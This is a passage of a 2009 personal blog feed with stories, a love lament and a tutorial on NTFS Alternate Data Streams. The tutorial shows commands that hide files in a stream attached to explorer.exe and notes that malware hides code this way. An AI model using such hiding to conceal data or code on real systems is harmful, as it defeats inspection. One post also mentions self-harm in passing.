can’t make out whether she is sympathisizing with me or likes to pull my leg. Whatever the case, she is one reason why I still work in hell. She comes, we clean up the mess that the devil just made and she promises me for coffee at 1:00 and scampers away. I finish all the files well before 1 and the entire day I act busy, just to avoid his Highness. Sabrina and me have lunch and then she comes and goes every fifteen minutes or so into my cabin till 7:00 and then the boss drops her home and I try starting my scooter till 8:00 and by the time I reach home, I forget what time it is.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Sabrina and I have been working together for over a year now. I never had the courage to tell her that I love her more than anything that could have ever existed. Thought it would ruin our friendship, but hey, they always say, no pain no gain. Many a times I gathered enough courage to stand in front of her, look into her deep black eyes and tell her “I Love…” and then my confidence would buckle under the weight of consequences and I would end up saying something stupid like “I Love… to play football, why don’t you join me?” She would always laugh; I would give anything to see her million dollar smile. She always concluded the interaction by saying “Grow up Ranvir!”. And something told me deep inside that she loved me…..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Sabrina didn’t have a father. Her maternal uncle was everything to her. Mr. Dias had died when Sabrina was doing her final year in Commerce. She was the only daughter in the family and Mrs. Dias had succumbed to childbirth. She wasn’t rich but yes, she could have bought 10 of my scooters this afternoon itself! Sabrina had invited me several times to her house, but I never had the time, it was an excuse that my sub conscious mind would definitely be happy to give. In fact I did not have the courage to go to her house and meet her uncle. I knew where she stayed though, precise directions and a road map; she had taken an entire afternoon explaining me the shortest way from my house and from the office.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;It was a Thursday, and as usual I was in my cabin working under files and papers. Sabrina came around just to make sure I was still breathing and ran her fingers through my hair. She informed me that Ranaut was leaving and she had to go along, he had to discuss some points for tomorrows meeting with her. It was the usual reason that he gave her and which she gave me. I saw them leave and then 10 minutes later I left. The clouds had gathered overhead and I knew it would pour any minute now. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I reached Delnaz Lane, on the way to my house when it started raining. I parked (threw would be a better word) my scooter next to a flower shop and knew only god would be able to start it now. I had never stopped here in my life and I knew this place was special because Sabrina’s violin classes were on the second floor of the yellow building right in front of me. I still had the map in my pocket; intuition told me to have a look. My heart started beating faster, if my sense of geography was correct, I was standing just two blocks away from Sabrina’s house!! The man in me finally wanting to run and embrace her. The adrenalin rush was just too much to handle, my legs started carrying me towards her house. It was 9 in my watch.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;She lived on the ground floor of Diaspora Apartments, a pink building that rose 5 storey high. I reached the front door, the sign unmistakably reading Mr. Denver Gonzalez, her uncle. It was pouring more heavily now. I gathered all the strength in me, this was the point of no return, I gave the bell a solid ring. Felt sick in the stomach, wanted to run, but vanishing courage gave a final push and I rang the bell again. No response. I rang the bell again. Still no response. The suspense was unnerving. It was 9.10, she never slept this early, never. Where was she?? My heart skipped a beat, unfaithful thoughts coming to my head, she was last seen with the jackal and he never made his intentions clear. The clouds were clearing and I assumed she was out on dinner with her uncle. I left.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I reached home at 11.00 in the night, clothes shoddily wet and scooter in hand. I couldn’t sleep that night. For the first time in my life I had gathered enough courage to walk up to her house and ring the bell and she wasn’t there to open it. I cursed my luck.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;The phone rang in the morning, when I was leaving. They asked for me, Sabrina had met with an accident, a bus had rammed into her the previous night, she was on a respirator and had lost lot of blood. They said every second she was growing weaker and she had repeatedly called out his name the previous night. They had found his number in her diary. I stood transfixed. My mom shook me out of stupor and I gathered my senses and I ran, I ran like I have never run in my life. Tears wetting my cheeks all along. Exhausted and with burning lungs, I searched for the Intensive Care Unit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I cursed myself for letting her go that day with Ranaut, I didn't care if he was alive or dead. Mr. Gonzalez said she was hit by the bus when she was crossing the road after ordering flowers from the Florist at Delnaz Lane for some guy named Ranvir, it was his birthday the next day. My eyes were fixed onto her body when they lowered it down into her grave, where she would rest to eternity. She was still wearing black…..&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/oNMxJkl79q8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/7302727065338950389/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2009/10/one-rainy-day.html#comment-form" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7302727065338950389?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7302727065338950389?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/oNMxJkl79q8/one-rainy-day.html" title="One Rainy Day" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>8</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2009/10/one-rainy-day.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8AR3gycCp7ImA9WxNRFkk.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-2895495741051449371</id><published>2009-09-10T21:13:00.000-07:00</published><updated>2009-09-10T21:37:26.698-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-10T21:37:26.698-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="irony" /><category scheme="http://www.blogger.com/atom/ns#" term="sarcasm" /><category scheme="http://www.blogger.com/atom/ns#" term="life" /><category scheme="http://www.blogger.com/atom/ns#" term="office life" /><category scheme="http://www.blogger.com/atom/ns#" term="prices" /><category scheme="http://www.blogger.com/atom/ns#" term="dream" /><category scheme="http://www.blogger.com/atom/ns#" term="inflation" /><category scheme="http://www.blogger.com/atom/ns#" term="Humor" /><title>Once Upon a Thursday..</title><content type="html">&lt;span style="font-size:100%;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;Mr. Siva Rao lives somewhere in Jayanagar with his one wife and two sons, the eldest of who is yet to appear for his PUC examinations after his two failed attempts. Known to people as Mr. Siva Rao, although his birth certificate identifies him as Vijayawada Sitaramanjaneyula Rajasekhara Yarlagadda Venkata Samba Siva Rao, he is one man who could over react for even the tiniest murmur of thunder in the sky. Known for his shrill audible voice and chalk white &lt;span style="font-style: italic;"&gt;lungi&lt;/span&gt; that he keeps folding up his waist, Mr. Siva Rao threatens kids, dogs and bikers alike around his locality. He travels to office everyday on his new CBZ, thank heavens he wears pants then.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;It was a beautiful Thursday morning. I was still lazing in bed when I heard Mr. Siva Rao yelling on top of his voice. I could also hear the soft spoken voice of Mrs. Rao coming out through their kitchen window. &lt;span style="font-style: italic;"&gt;"How am I supposed to cook? I have been telling you to get the cylinder before this one gets over? Don't tell me I did not warn you?"&lt;/span&gt; I could vaguely imagine Mrs. Rao, a short beautiful woman in her mid 40s, pointing her stubby fingers at the now worthless piece of metal. Mr. Rao then proceeded to say something in his native tongue, which fortunately I didn't understand, but he sounded angry. Then abruptly there was silence. I wondered whether a peace treaty had been signed or Mrs. Rao was now no more. I sat upright in my bed, stretching myself. I looked out of my window again to see signs of any movement. Their kitchen window was locked; I assumed there wouldn’t be any more verbal ranting so I slipped out of bed to begin my day.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I went through the morning routine methodically to prevent any wastage of water or electricity which the caretaker of our PG house constantly reminds us of. I ironed my clothes, wore my shoes and stepped out wearing a smile that could give Mona Lisa a run for money.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I first thought it was funny to see 4 men on a bike next to the signal where I usually wait for the bus to arrive, but then I realized, it was the same scene everywhere! Cars were carrying 7-8 people, bikes were loaded with 3-4 people and buses were overflowing! I rubbed my eyes to swallow what I could see. There was less traffic on the road though, even at this peak hour. I was nonchalant and assumed it to be just casual traffic police maneuvers. I skipped 6 buses due to the sudden increase in commuters. The doors would not close, I couldn’t see the driver and the windows were all covered with bums of different sizes. Weird I thought. Looked like as if half of China had invaded India, although, I dint see any Mongoloids amongst the crowd. I was running out of time and knew I would get late for my Annual Performance Review meeting with my Manager. I prayed in silent tears.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Somebody on a bike with a pillion rider stopped in front of me. I was happy to see that there were only two people on the bike. The rider pulled off his helmet and then I recognized Mr. Siva Rao. The pillion rider identified himself as Mr. Shetty, Engineer at another Software company down on Outer Ring Road. Mr. Siva Rao spoke hesitantly with his usual deep accented Tamil accent, &lt;span style="font-style: italic;"&gt;"So you waiting for bus? No bus. No bus. Mr. Shetty here waiting for bus since 8.00 AM in the morning. All crowded. You come, I drop you to office. On way to Marathalli right. Sit sit."&lt;/span&gt; I couldn't refuse but I couldn't stop myself from asking, &lt;span style="font-style: italic;"&gt;"Eh.. Mr. Rao… won't the police fine us for riding three on a bike?"&lt;/span&gt; Mr. Siva Rao smiled showing his misshapen canines. &lt;span style="font-style: italic;"&gt;"Police no say anything. People taking lifts and using buses to reach office. Less traffic faster to reach office less petrol you see."&lt;/span&gt; I could see the end of the tunnel from where all insanity of the public was coming from. I shrugged, squeezed between Mr. Siva Rao and Mr. Shetty and closed my eyes for the rest of the journey.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Mr. Siva Rao dropped me at the closest signal to my office and scampered on with Mr. Shetty although in the distance I could see him wait and pick up another hapless stranded soul on the Ring Road. I brushed off the creases on my shirt and crossed the road. Several people were on foot today. I saw my colleague Ritesh** entering the gates as I walked up to him. &lt;span style="font-style: italic;"&gt;"No bike today huh?"&lt;/span&gt; He responded with a cold shrug and stared stone faced to the building entrance. &lt;span style="font-style: italic;"&gt;"A walk a day keeps the doctor away!"&lt;/span&gt; I shook my head; I had heard wittier words than those from him.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;My day at the office was normal, with just a few bumps here and there. Lunch was something I was looking forward to. Precisely at 2:00, I locked my workstation and proceeded down towards the cafeteria. Several employees were standing at the entrance talking in hushed tones. I saw several of my friends in the lot too. I walked up to them. &lt;span style="font-style: italic;"&gt;"Wassup people? Why is everybody out here?"&lt;/span&gt; Raees** whisked me out of the crowd and pointed steadfast at a small notice that had been put up at the counter. I carefully read and re-read the posting. I now knew why people appeared scared and why Raees and the others were tensed as if their exam results were to be declared that afternoon.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I walked down towards the lonely mess that is visited by a handful of people down the road outside the campus wondering aloud; &lt;span style="font-style: italic;"&gt;"70 bucks for that food?? That's more then a 50 percent hike in prices. God what else?"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I had never been to a mess before, but what I had heard from the others, the food was good and cheap and this place was hardly visited by anybody. I reached the place following crudely drawn directions given to me by another of my colleague, Guru**. I couldn’t recognize the place though because it had been described by people as a deserted waste of space. There were atleast 30 people in there and several standing in a queue outside!! I saw a familiar face in the queue, I didn't know his name but he was from the same floor that I worked on. I waved to him and casually walked up to where he was standing. Assuming it was unbeknownst to the others, I slowly moved my feet, inch by inch in to the queue. As soon as my feet were inside I proceeded to shift the rest of my body in to the line, discussing mundane topics like the elections, Harry Potter and Carmen Electra with my new found friend to throw him and the others off the track. But alas I forgot there were several seasoned players in this game already in the queue. I soon found myself whisked at the end of the line by several pairs of black strong hands that looked and smelt of tar.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I returned to my lab an hour and half later having had the tastiest food that I had eaten in months. I then proceeded to complete my work. Precisely at 6:00, I fired off the mails that I had kept pending for the past few days. Forwarded some nasty office jokes to my friends, locked the workstation and walked down the stairs to begin my journey back to my room.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;My afternoon had passed off peacefully and the morning just seemed so far away. As I walked out of the gate, reality slapped me so hard, my eyes watered. There was less traffic no doubt. But the scenario had not improved a tad. There were people on bikes, cars were loaded. I saw several engineers (by the looks of them and the laptop bags they carried) on the top of three trucks, smiling and waving out to people as if they were campaigning for elections!! I vaguely remembered Swades. I flicked out my new Sony Ericcson Z555i with Gesture Control 2 MP camera phone and randomly clicked some pictures. Down the 8th picture, my phone started ringing. Some unknown number, I hoped it wasn’t some bank wanting to give me a personal loan or credit card or something. The excited voice on the other end was familiar. &lt;span style="font-style: italic;"&gt;"Look behind, look behind, behind the red truck, between the bus and the truck… look look…"&lt;/span&gt; I turned around to see Mr. Siva Rao flailing his hands as if he had just seen Sachin Tendulkar. I walked up to him and smiled. He looked small without his helmet on. Unbelievably he was alone. I did not question him but clambered on to the bike to get home.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I slept peacefully that night dreaming about me discovering an oil well in the background of my PG house, becoming rich overnight and marrying Katrina Kaif. The first thing I did with the money in my dreams was to buy a bicycle. Thanking God they didn't run on petrol.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;** Names changed to protect privacy.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/H4ET-F0EzJE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/2895495741051449371/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2009/09/once-upon-thursday.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2895495741051449371?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2895495741051449371?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/H4ET-F0EzJE/once-upon-thursday.html" title="Once Upon a Thursday.." /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2009/09/once-upon-thursday.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EBQX84eyp7ImA9WxNREEg.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-8668768331682566692</id><published>2009-09-02T02:08:00.000-07:00</published><updated>2009-09-04T02:14:10.133-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-04T02:14:10.133-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="NTFS ADS" /><category scheme="http://www.blogger.com/atom/ns#" term="data hiding" /><category scheme="http://www.blogger.com/atom/ns#" term="NTStream" /><category scheme="http://www.blogger.com/atom/ns#" term="Backup APIs" /><title>NTFS Alternate Data Streams</title><content type="html">&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;The NTFS file system was a remarkable creation for the world of Windows. Windows NT systems have proven their local security largely on the basis of the NTFS file system. It included several new features: quotas, sparse file support, reparse points, distributed link tracking and the Encrypting File System (EFS). What I am going to describe here is not the file system itself, but a little known property of NTFS called ADS. ADS does not stand for Active Directory Services or Asynchronous Digital Systems or Another Dead Soul or anything that whacky. ADS or Alternate Data Stream is any data attached to another file but not within the file itself. Windows implements many of its little known functions like additional file information and tagging files as encrypted using ADS.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;One of the most common uses of ADS has to store additional file information like the Authors name, Word count, Pages and other document data of a word file. You can view and edit this information by right clicking a word document &gt;&gt; properties and clicking on the summary tab. In fact any file will have a summary tab on an NTFS drive so that you can indirectly edit the ADS of that particular file. A file without any custom information added, contains a single data stream called $DATA which is the data inside the file itself and is not an alternate data stream. Any other streams attached to it will have the format filename.extension:ADSname:$data. When you open a normal file the default $DATA is read which is the data in the file itself. A normal file will be of the format filename.extension::$Data (Note there is no ADS). Imagine you had a text file full of passwords and you had attached it to explorer.exe, then to access the contents of passwords.txt file you would have to use explorer.exe:passwords.txt:$Data. You can even have ADS for a folder!! In fact any folder on a NTFS system. You could then store your passwords.txt file attached to C:\Windows!!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;You can attach any number of files to any single file or folder. That means you could attach a 699 MB DvDrip AVI to a 4 MB Summer of 69.mp3 without increasing the size of your mp3 by a single byte!! Windows does not show the attached file in explorer or by any normal means. The whole 699 MB can be stored on to the hard disk (without anybody knowing) and retrieved later. Since ADS is not stored inside the parent file, the size of the mp3 remains the same!! Although disk space goes down by the same amount.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;That kinda sounds far fetched right? Alright lets have a small demonstration. Lets use explorer.exe and passwords.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Open Notepad and type the following:    &lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Orkut=h@ck3rz&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Rediff=r3dm0nd123&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;facebook=!@#c3sium&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;These are web services and their respective passwords. You could type in anything you want. Then save the file as passwords.txt in C: drive.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Then go to Start &gt;&gt; Run &gt;&gt; cmd to open the command prompt. cd.. your way to C:\&gt; then type the following:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt;type passwords.txt &gt; C:\Windows\explorer.exe:passwords.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Delete the original passwords.txt file from C: drive. The above command is self explanatory but for all those who didnt grasp its entirety, heres how it works. The type command is a cmd internal command to display the contents of a file, so type [filename] will display the contents of the text file. The &gt;, also called as the output redirection operator is used to redirect output from one command to another command or file. C:\Windows\explorer.exe:passwords.txt is the ADS to explorer.exe called Passwords.txt. Now your file is safe and since you have attached it to explorer.exe (highly unlikely to be deleted) you can sleep well.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;To retrieve the text file or the data inside, you can again use the command prompt or notepad.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Using command prompt:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt;more &lt; &lt;/span&gt;&lt;/span&gt;    &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\Windows\explorer.exe:passwords.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;More is used to display output one screen at a time. Conveniently type does not work to display file contents here. The &lt;, also (you must have already guessed it) called the input redirection operator takes the file contents from the file and gives it to more so it is displayed a (screen) page at a time. To dump it back to a text file use&lt;/span&gt;&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt;echo | more &lt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt; C:\Windows\explorer.exe:passwords.txt&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt; &gt; Passwords.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;This is slightly complicated. Echo is used to display whatever is given to it as an argument. Echo Hello will display Hello. The pipe (|) is used to pass the output of the more command to echo and the &gt; is used to dump whatever got echoed to the text file Passwords.txt. Here is a simpler method.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Using notepad:&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Go to Start &gt;&gt; Run and type the following.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Notepad C:\Windows\Explorer.exe:Passwords.txt&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Notepad should open up displaying the contents of the file. You can then use File &gt;&gt; Save As to save it anywhere you want.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I went ahead and wrote a program that allows you to work with NTFS Alternare Data Streams (ADS) with ease. You can scan your whole hard disk for NTFS ADS, you can create, delete, modify and export streams easily. This application uses native Windows API and hence is pretty fast at it. The application called NTStream is available &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://riyazahemed.webng.com/winsystools/NTStream-Setup.zip"&gt; here&lt;/a&gt;&lt;/span&gt;.&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_17JNeVdiZ7k/Sp47M6SpLpI/AAAAAAAAARE/dW-VrM4imx8/s1600-h/Image1.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 311px;" src="http://1.bp.blogspot.com/_17JNeVdiZ7k/Sp47M6SpLpI/AAAAAAAAARE/dW-VrM4imx8/s400/Image1.PNG" alt="" id="BLOGGER_PHOTO_ID_5376800098118872722" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;font-family:verdana;font-size:85%;"  &gt;Ntstream&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Since ADS is any data attached to another file, it will be deleted only if you delete the parent file or if you use a third party tool to delete it. Always remember the name of the data stream and the parent file to which you attached it. Creating data streams could take up valuable hard disk space (if you are planning to hide large files like movies etc.). You can use ADS to hide any type of data, even executable code. Although thats not a good administrative practice, it can be done. Viruses and worms like Email-Worm.Win32.Dumaru.a and Win2K.Stream use ADS to spread. Use ADS efficiently and non-maliciously, use it to your advantage.&lt;/span&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/dUAyE-nxQH4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/8668768331682566692/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2009/09/ntfs-alternate-data-streams.html#comment-form" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/8668768331682566692?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/8668768331682566692?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/dUAyE-nxQH4/ntfs-alternate-data-streams.html" title="NTFS Alternate Data Streams" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_17JNeVdiZ7k/Sp47M6SpLpI/AAAAAAAAARE/dW-VrM4imx8/s72-c/Image1.PNG" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2009/09/ntfs-alternate-data-streams.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0EDRn84fip7ImA9WxNSEE8.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-5542288483259434388</id><published>2009-08-23T03:49:00.000-07:00</published><updated>2009-08-23T04:07:57.136-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-23T04:07:57.136-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="angel" /><category scheme="http://www.blogger.com/atom/ns#" term="life" /><category scheme="http://www.blogger.com/atom/ns#" term="memories" /><category scheme="http://www.blogger.com/atom/ns#" term="love" /><title>My Angel</title><content type="html">&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;She is a year younger to me. We have known each other for over 2 years now, but it seems like we have known each other for centuries. She’s absolutely normal, no complaints at all, like any other girl of her age, extra sensitive towards ideas that have nothing to do with her, mounting tension about studies and placements gripping her every weekend, a feeble smile when she is hurt and two huge tear drops in her eyes when I’m going back to work. With hair that keeps coming across her face whenever I try to stare into her deep black eyes. She pulls them back of course and I swear to God I forget where I am. Life seems complete when she puts her head on to my shoulders and goes to sleep. I feel like living a thousand years, just looking at her talk with constant nods of her head. Feel like pulling her into my arms when she yells that I wasn't listening to her. Life... Life is dragging me hopelessly... I don't know where...&lt;br /&gt;&lt;br /&gt;I was an evangelist, preaching how dangerous women are until I met her. She is the sweetest thing that has happened to me. We have exchanged promises, promises of staying together for now and forever, promises of laughing, playing, fighting, eating, walking, dancing, cooking and all the other things I once thought stupid. I cry in the night, when I go to sleep all alone 800 kms away from my sweetheart. Memories of the times we have spent together, the way she nods her head even when she hasn’t understood what I was telling her, her scolding when I would forget to take my medicines, the threatening messages when I dont call her back after she keeps the phone, the times spent in arguing over unimportant stuff, the things she said to me, the care that I take while speaking lest I hurt her, the "You eat first and tell me, then I'll eat" talks, the exam tips that she often took, the "I will love you forever", the numerous "miss you idiot" and they go on. Memories... Sweet memories are all what I have when I am this far, physically separated but emotionally still single. All our friends who know about us swear by our love, a single soul in two bodies, that's what they say. It's difficult to imagine life without her. We can't live without each other. It's difficult to even leave hands when we are getting down the bus!! Life is beautiful when we are together but yet I have to work here in desolation and solitude staring at my screen in the nostalgic company of her photographs. I think over what I have lost and what I have gained by coming here. It was a choice I had to take. Had to come here to earn, to have her. I know people say "money isn't everything", ask me I say. Was sworn by my family long before I had known her, had promised my folks back home to give them a life that they have always desired and then think about settling down in life. Give them all the luxury that my hardworking father never could provide. And all that within the next 3 years.&lt;br /&gt;&lt;br /&gt;But alas, God, I feel, doesn't wish to see us together, I am a mortal fighting to have my love with me for eternity. I cry every day, I pray for us, I hurt myself to subdue the pain within, yet the pain that increases with every single day I spend away from her, away from my little angel, yes I call her my angel, my sweet little angel, the pain never fades. The pain is horrible, it's like somebody is holding on to your dreams ready to leave them so that they fall and shatter and it is assumed that you will forget as winds of time sweep off the dust that remains. Forget her? God I could forget I have to breathe, but her? Why are you asking such a heavy price? I cannot fathom what will happen if I am forced to live without her. I have already lost my senses without her next to me here; it won’t be long before I lose myself completely. With parents who come from psychological backgrounds where falling in love is considered to be a violation of the rules of Mother Nature. Where it is thought upholding the honor and dignity of family traditions, rituals and fervor is more important then you being happy with a girl who means the world to you. Where it is thought the so called man made society will talk year after year about the boy who stood against his parents. Where it is thought that choices made by the elders is always right and it is assumed that you will lead a happy life with a complete stranger. Why did God make choices? Why can’t God make our parents understand? Why can’t God just leave us alone?&lt;br /&gt;&lt;br /&gt;Eyes reddened with tears, heart heavy and aching with her thoughts, sleepless with feelings that haunt me day and night, I live on. Why did God ever make religions?&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/tmAlUGct4T0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" 